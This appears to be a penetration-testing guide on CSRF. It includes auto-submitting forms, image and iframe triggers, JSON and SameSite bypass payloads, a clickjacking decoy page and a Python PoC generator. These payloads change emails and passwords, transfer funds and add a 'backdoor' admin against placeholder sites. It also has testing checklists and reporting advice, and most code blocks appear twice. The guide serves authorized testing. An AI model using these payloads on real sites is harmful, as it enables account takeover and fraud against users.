Exploitation A01

Cross-Site Request Forgery (CSRF)

CSRF forces authenticated users to perform unwanted actions on web applications. This guide covers attack vectors, token bypass techniques, and modern defense evasion methods.

Warning

CSRF attacks are "one-shot" - once executed, they can't be undone. Test carefully on non-critical functions first (like email change) rather than destructive actions.

🎯 Why CSRF Still Matters in the SameSite Era

Despite SameSite cookies being the default in modern browsers, CSRF remains a critical vulnerability for several reasons:

  • Legacy Applications: Millions of applications still use SameSite=None or lack the attribute entirely. Many enterprise apps haven't been updated since before 2020.
  • Chrome's 2-Minute Window: Newly-set cookies without SameSite are treated as None for 2 minutes, creating a race condition window for attacks.
  • GET-Based State Changes: SameSite=Lax still allows cookies on top-level GET navigations. Applications with GET-based state changes (logout, delete, transfer) remain fully vulnerable.
  • Subdomain Attacks: If attacker controls a subdomain, they can set cookies for the parent domain, bypassing CSRF token validation in double-submit patterns.
  • Clickjacking Combination: Even with CSRF tokens, clickjacking can trick users into clicking legitimate buttons, achieving the same outcome.
  • OAuth/SSO Flows: Cross-origin redirects in OAuth can be exploited for login CSRF, linking attacker accounts to victim sessions.

Tools & Resources

Burp Suite

Right-click > Engagement Tools > Generate CSRF PoC

Built-in feature

XSRFProbe

Automated CSRF vulnerability scanner

pip install xsrfprobe GitHub →

OWASP CSRFTester

Java-based CSRF testing tool

Java application OWASP →

Bolt

CSRF scanner with token analysis

git clone https://github.com/s0md3v/Bolt GitHub →

CSRF Generator

Online PoC generator tool

Web-based Online Tool →

Cookie Editor

Browser extension to inspect SameSite values

Chrome/Firefox extension

Understanding CSRF

CSRF exploits the trust a website has in a user's browser. When a user is authenticated, their browser automatically includes session cookies with every request. An attacker can craft a malicious page that triggers requests to the target site.

Attack Flow

  1. Victim is authenticated to target.com (has valid session cookie)
  2. Attacker sends victim a link to attacker.com/malicious.html
  3. Malicious page contains hidden form/request to target.com
  4. Browser automatically includes victim's cookies with request
  5. Target.com processes request as legitimate (changes password, transfers money, etc.)

Cross-Site Request Forgery (CSRF) Attack Flow

sequenceDiagram participant V as Victim Browser participant Atk as attacker.com participant T as target.com V->>T: 1. Authenticate (login) T->>V: 2. Set session cookie Note over V: Victim is now authenticated V->>Atk: 3. Visit attacker page (phishing link) Atk->>V: 4. Return page with hidden form Note over V: Auto-submit form to target.com rect rgb(255, 107, 107, 0.1) V->>T: 5. POST /change-password (cookie auto-attached) Note over T: Server sees valid session cookie T->>T: 6. Process as legitimate request T->>V: 7. Password changed successfully end Note over Atk: Attacker now knows the new password

CSRF Prerequisites

  • Relevant action exists - Password change, email update, fund transfer, etc.
  • Cookie-based sessions - Authentication relies on cookies automatically sent
  • No unpredictable parameters - No CSRF token or other validation

Basic CSRF Attacks

GET Request CSRF

Simplest form - state-changing action via GET (bad practice but common):

html
<!-- Image tag - request fires automatically when page loads -->
<img src="https://target.com/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- Link (requires click) -->
<a href="https://target.com/delete-account">Click for free prize!</a>

<!-- Iframe - hidden request -->
<iframe src="https://target.com/change-email?email=attacker@evil.com" style="display:none"></iframe>

<!-- Multiple actions -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- Image tag - request fires automatically when page loads -->
<img src="https://target.com/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- Link (requires click) -->
<a href="https://target.com/delete-account">Click for free prize!</a>

<!-- Iframe - hidden request -->
<iframe src="https://target.com/change-email?email=attacker@evil.com" style="display:none"></iframe>

<!-- Multiple actions -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">

POST Request CSRF

Auto-submitting form for POST requests:

html
<html>
<body onload="document.getElementById('csrf-form').submit()">
  <form id="csrf-form" action="https://target.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="confirm" value="1">
  </form>
</body>
</html>
<html>
<body onload="document.getElementById('csrf-form').submit()">
  <form id="csrf-form" action="https://target.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="confirm" value="1">
  </form>
</body>
</html>

CSRF with XSS Trigger

html
<!-- Trigger form submit via image error -->
<form id="csrf" action="https://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
<img src="x" onerror="document.getElementById('csrf').submit()">

<!-- Or via script -->
<form id="csrf" action="https://target.com/admin/add-user" method="POST">
  <input type="hidden" name="username" value="backdoor">
  <input type="hidden" name="password" value="backdoor123">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- Trigger form submit via image error -->
<form id="csrf" action="https://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
<img src="x" onerror="document.getElementById('csrf').submit()">

<!-- Or via script -->
<form id="csrf" action="https://target.com/admin/add-user" method="POST">
  <input type="hidden" name="username" value="backdoor">
  <input type="hidden" name="password" value="backdoor123">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>

JSON-Based CSRF

Modern APIs often expect JSON bodies. Standard HTML forms can't send JSON, but there are techniques to exploit CSRF on JSON endpoints.

Method 1: Fetch API (if CORS allows)

html
<script>
fetch('https://target.com/api/change-email', {
    method: 'POST',
    credentials: 'include',  // Include cookies
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        email: 'attacker@evil.com'
    })
});
</script>
<script>
fetch('https://target.com/api/change-email', {
    method: 'POST',
    credentials: 'include',  // Include cookies
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        email: 'attacker@evil.com'
    })
});
</script>

Information

Note: This only works if CORS allows the origin or if credentials mode permits it. Most sites block cross-origin requests with credentials.

Method 2: Form with JSON in Parameter

html
<!-- If server accepts form data AND parses it as JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore_me":"' value='"}' type="hidden">
</form>

<!-- Results in body: {"email":"attacker@evil.com","ignore_me":"="} -->
<!-- If server accepts form data AND parses it as JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore_me":"' value='"}' type="hidden">
</form>

<!-- Results in body: {"email":"attacker@evil.com","ignore_me":"="} -->

Method 3: Flash-Based (Legacy)

actionscript
// Flash could send custom Content-Type headers
// Now mostly obsolete but some old apps still vulnerable

// ActionScript payload:
var request:URLRequest = new URLRequest("https://target.com/api/update");
request.method = URLRequestMethod.POST;
request.data = '{"email":"attacker@evil.com"}';
request.contentType = "application/json";
navigateToURL(request);
// Flash could send custom Content-Type headers
// Now mostly obsolete but some old apps still vulnerable

// ActionScript payload:
var request:URLRequest = new URLRequest("https://target.com/api/update");
request.method = URLRequestMethod.POST;
request.data = '{"email":"attacker@evil.com"}';
request.contentType = "application/json";
navigateToURL(request);

CSRF Token Bypass Techniques

1. Remove Token Entirely

http
# Original request with token
POST /change-email HTTP/1.1
email=test@test.com&csrf_token=abc123

# Test without token - server might not validate if missing
POST /change-email HTTP/1.1
email=attacker@evil.com
# Original request with token
POST /change-email HTTP/1.1
email=test@test.com&csrf_token=abc123

# Test without token - server might not validate if missing
POST /change-email HTTP/1.1
email=attacker@evil.com

2. Empty Token Value

http
# Some implementations only check if parameter exists
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=

# Or with empty string
csrf_token=""
# Some implementations only check if parameter exists
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=

# Or with empty string
csrf_token=""

3. Use Another User's Token

html
# If tokens aren't tied to sessions, attacker's own token might work
# Step 1: Get your own valid token
# Step 2: Use it in attack payload

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="ATTACKERS_OWN_VALID_TOKEN">
</form>
# If tokens aren't tied to sessions, attacker's own token might work
# Step 1: Get your own valid token
# Step 2: Use it in attack payload

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="ATTACKERS_OWN_VALID_TOKEN">
</form>

4. Method Override

http
# If POST requires token but GET doesn't
# Change method via parameter override
POST /change-email HTTP/1.1
_method=GET&email=attacker@evil.com

# Or via header
X-HTTP-Method-Override: GET
# If POST requires token but GET doesn't
# Change method via parameter override
POST /change-email HTTP/1.1
_method=GET&email=attacker@evil.com

# Or via header
X-HTTP-Method-Override: GET

5. Token in Cookie (Double Submit)

html
# If token is just compared between cookie and parameter
# And you can set cookies (via XSS or subdomain)

# Inject your own matching pair:
document.cookie = "csrf_token=attacker_value; domain=.target.com";

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="attacker_value">
</form>
# If token is just compared between cookie and parameter
# And you can set cookies (via XSS or subdomain)

# Inject your own matching pair:
document.cookie = "csrf_token=attacker_value; domain=.target.com";

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="attacker_value">
</form>

6. Token Leakage via Referer

http
# If token is in URL and Referer header isn't stripped
# Link to external site leaks token

https://target.com/settings?csrf_token=abc123

# User clicks external link, Referer header sent:
Referer: https://target.com/settings?csrf_token=abc123

# Attacker captures token from their server logs
# If token is in URL and Referer header isn't stripped
# Link to external site leaks token

https://target.com/settings?csrf_token=abc123

# User clicks external link, Referer header sent:
Referer: https://target.com/settings?csrf_token=abc123

# Attacker captures token from their server logs

SameSite Cookie Bypass

SameSite cookie attribute is modern CSRF defense. But misconfigurations and edge cases still allow attacks.

SameSite Modes

Strict

Cookie never sent cross-site. Best protection but can break UX.

Lax (Default)

Cookie sent with top-level GET navigations. Blocks POST CSRF.

None

Cookie always sent. Requires Secure flag. Fully vulnerable to CSRF.

Bypassing SameSite=Lax

html
# Lax allows cookies on top-level GET navigation
# If state change possible via GET:

<!-- Top-level navigation via window.open -->
<script>
window.open('https://target.com/change-email?email=attacker@evil.com');
</script>

<!-- Or via link click -->
<a href="https://target.com/delete-account">Click me!</a>

<!-- Or via form with GET -->
<form action="https://target.com/transfer" method="GET">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
  <input type="submit" value="Click for free money!">
</form>
# Lax allows cookies on top-level GET navigation
# If state change possible via GET:

<!-- Top-level navigation via window.open -->
<script>
window.open('https://target.com/change-email?email=attacker@evil.com');
</script>

<!-- Or via link click -->
<a href="https://target.com/delete-account">Click me!</a>

<!-- Or via form with GET -->
<form action="https://target.com/transfer" method="GET">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
  <input type="submit" value="Click for free money!">
</form>

2-Minute Lax Bypass (Chrome)

text
# Chrome has 2-minute window for cookies without SameSite set
# During this window, they're treated as None, not Lax

# If user just got new session cookie (login, OAuth redirect):
# You have ~2 minutes for traditional CSRF to work

# Practical exploitation:
1. Get victim to login (via OAuth, etc.)
2. Immediately redirect to CSRF page
3. Attack works within 2-minute window
# Chrome has 2-minute window for cookies without SameSite set
# During this window, they're treated as None, not Lax

# If user just got new session cookie (login, OAuth redirect):
# You have ~2 minutes for traditional CSRF to work

# Practical exploitation:
1. Get victim to login (via OAuth, etc.)
2. Immediately redirect to CSRF page
3. Attack works within 2-minute window

Clickjacking + CSRF Combo

When CSRF defenses exist but clickjacking is possible, overlay a malicious page over the legitimate one to trick users into clicking real buttons.

html
<html>
<head>
  <style>
    #target-frame {
      position: absolute;
      top: 100px;
      left: 100px;
      width: 500px;
      height: 300px;
      opacity: 0.0001;  /* Nearly invisible */
      z-index: 2;
    }
    #decoy {
      position: absolute;
      top: 130px;
      left: 160px;
      z-index: 1;
    }
  </style>
</head>
<body>
  <h1>Win a Free iPhone!</h1>
  <button id="decoy">Click Here to Claim!</button>
  
  <!-- Invisible iframe positioned so delete button aligns with decoy -->
  <iframe id="target-frame" src="https://target.com/account/settings"></iframe>
</body>
</html>
<html>
<head>
  <style>
    #target-frame {
      position: absolute;
      top: 100px;
      left: 100px;
      width: 500px;
      height: 300px;
      opacity: 0.0001;  /* Nearly invisible */
      z-index: 2;
    }
    #decoy {
      position: absolute;
      top: 130px;
      left: 160px;
      z-index: 1;
    }
  </style>
</head>
<body>
  <h1>Win a Free iPhone!</h1>
  <button id="decoy">Click Here to Claim!</button>
  
  <!-- Invisible iframe positioned so delete button aligns with decoy -->
  <iframe id="target-frame" src="https://target.com/account/settings"></iframe>
</body>
</html>

Tip

Tip: Check X-Frame-Options and CSP frame-ancestors. If missing or misconfigured, clickjacking is possible even with CSRF tokens.

Automation & Tools

#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse

def generate_csrf_poc(method, url, params, auto_submit=True):
    """Generate CSRF PoC HTML"""
    parsed = urlparse.urlparse(url)
    
    html = f'''<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form id="csrf-form" action="{url}" method="{method}">
'''
    
    for key, value in params.items():
        html += f'        <input type="hidden" name="{key}" value="{value}">\n'
    
    html += '        <input type="submit" value="Submit">
    </form>
'
    
    if auto_submit:
        html += '''    <script>
        document.getElementById('csrf-form').submit();
    </script>
'''
    
    html += '</body>
</html>'
    return html

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Generate CSRF PoC')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-m', '--method', default='POST', help='HTTP method')
    parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
    parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
    
    args = parser.parse_args()
    
    # Parse POST data
    params = dict(urlparse.parse_qsl(args.data))
    
    poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
    
    # Save to file
    filename = 'csrf_poc.html'
    with open(filename, 'w') as f:
        f.write(poc)
    
    print(f"[+] CSRF PoC saved to {filename}")
    print(f"[+] Target: {args.url}")
    print(f"[+] Method: {args.method}")
    print(f"[+] Parameters: {params}")
#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse

def generate_csrf_poc(method, url, params, auto_submit=True):
    """Generate CSRF PoC HTML"""
    parsed = urlparse.urlparse(url)
    
    html = f'''<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form id="csrf-form" action="{url}" method="{method}">
'''
    
    for key, value in params.items():
        html += f'        <input type="hidden" name="{key}" value="{value}">\n'
    
    html += '        <input type="submit" value="Submit">
    </form>
'
    
    if auto_submit:
        html += '''    <script>
        document.getElementById('csrf-form').submit();
    </script>
'''
    
    html += '</body>
</html>'
    return html

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Generate CSRF PoC')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-m', '--method', default='POST', help='HTTP method')
    parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
    parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
    
    args = parser.parse_args()
    
    # Parse POST data
    params = dict(urlparse.parse_qsl(args.data))
    
    poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
    
    # Save to file
    filename = 'csrf_poc.html'
    with open(filename, 'w') as f:
        f.write(poc)
    
    print(f"[+] CSRF PoC saved to {filename}")
    print(f"[+] Target: {args.url}")
    print(f"[+] Method: {args.method}")
    print(f"[+] Parameters: {params}")

Burp Suite CSRF PoC

Account Takeover

  • Email change
  • Password change
  • Add recovery email
  • Link OAuth provider

Financial

  • Money transfer
  • Change billing address
  • Purchase items
  • Subscription changes

Privilege Escalation

  • Create admin user
  • Change user roles
  • Add API keys
  • Modify permissions

Data Manipulation

  • Delete account/data
  • Modify settings
  • Post content as user
  • Approve/reject actions

Practice Labs

Information

Reporting Tip: For CSRF findings, always provide working PoC HTML, explain the impact, and suggest remediation (CSRF tokens, SameSite cookies, etc.).

CSRF Testing Checklist

🔍 Initial Assessment

  • ☐ Identify state-changing actions (password, email, settings)
  • ☐ Check cookie SameSite attributes via DevTools
  • ☐ Look for CSRF tokens in forms/requests
  • ☐ Check X-Frame-Options for clickjacking combo
  • ☐ Identify GET-based state changes (logout, delete)
  • ☐ Note any CORS configuration

🔓 Token Bypass Tests

  • ☐ Remove token parameter entirely
  • ☐ Submit empty token value
  • ☐ Use token from different session
  • ☐ Try method override (_method=GET)
  • ☐ Change POST to GET
  • ☐ Test token in URL vs body validation

🍪 SameSite Testing

  • ☐ Test cookies without SameSite attribute
  • ☐ Test within 2-minute window after login
  • ☐ Check for GET state changes (Lax bypass)
  • ☐ Test from subdomain (cookie injection)
  • ☐ Verify Secure flag with SameSite=None
  • ☐ Test OAuth/redirect flows for timing

📝 PoC & Validation

  • ☐ Generate working PoC HTML
  • ☐ Test in fresh browser profile
  • ☐ Verify action completes successfully
  • ☐ Test across different browsers
  • ☐ Document victim interaction required
  • ☐ Screenshot before/after state

How to Test for CSRF

Step-by-Step Testing Process

  1. Capture Request: In Burp Suite, perform the action you want to test (e.g., change email). Capture the request in Proxy history.
  2. Analyze Tokens: Look for CSRF tokens, check their length, entropy, and whether they're tied to the session.
  3. Check Cookies: In DevTools Application tab, examine SameSite attribute on session cookies. "Lax" blocks POST but allows GET; "None" is fully vulnerable.
  4. Generate PoC: Right-click the request in Burp → Engagement Tools → Generate CSRF PoC. Click "Test in browser" to verify.
  5. Test Variations: Modify the PoC - remove token, use empty value, try GET method if originally POST.
  6. Cross-Origin Test: Host PoC on different domain (use ngrok or local server). Verify action works cross-origin.
  7. Document Impact: If successful, demonstrate impact (account takeover via email change, admin user creation, etc.)

⚠️ Important: Always test in an isolated browser profile where you're logged into the target. The CSRF PoC page should trigger the action without any user login on that page.

External Resources

Evidence Collection

PoC HTML Page: Working HTML file with auto-submitting form that performs the state-changing action (email change, password reset, fund transfer)

Before/After: Screenshots showing the victim's account state before and after the CSRF attack — proving the action was performed without user consent

Token Analysis: Evidence that CSRF tokens are missing, predictable, not validated, or not tied to the user session

CVSS Range: Profile changes: 4.3–6.5 (Medium) | Password/email change: 6.5–8.0 (High) | Financial transaction: 8.0–8.8

False Positive Identification

  • SameSite cookies: Modern browsers default to SameSite=Lax — cross-site POST requests won't include cookies. Verify the cookie attributes before reporting. GET-based state changes may still work.
  • CORS ≠ CSRF protection: CORS restricts reading responses, not sending requests. A permissive CORS policy doesn't create CSRF if proper tokens are used, and restrictive CORS doesn't prevent form-based CSRF.
  • JSON-only endpoints: If the endpoint requires Content-Type: application/json, simple form submissions won't work — but check if the server accepts other content types or if CORS preflight is enforced.
  • Read-only actions: CSRF on GET requests that only read data is typically informational — focus on state-changing operations (POST, PUT, DELETE).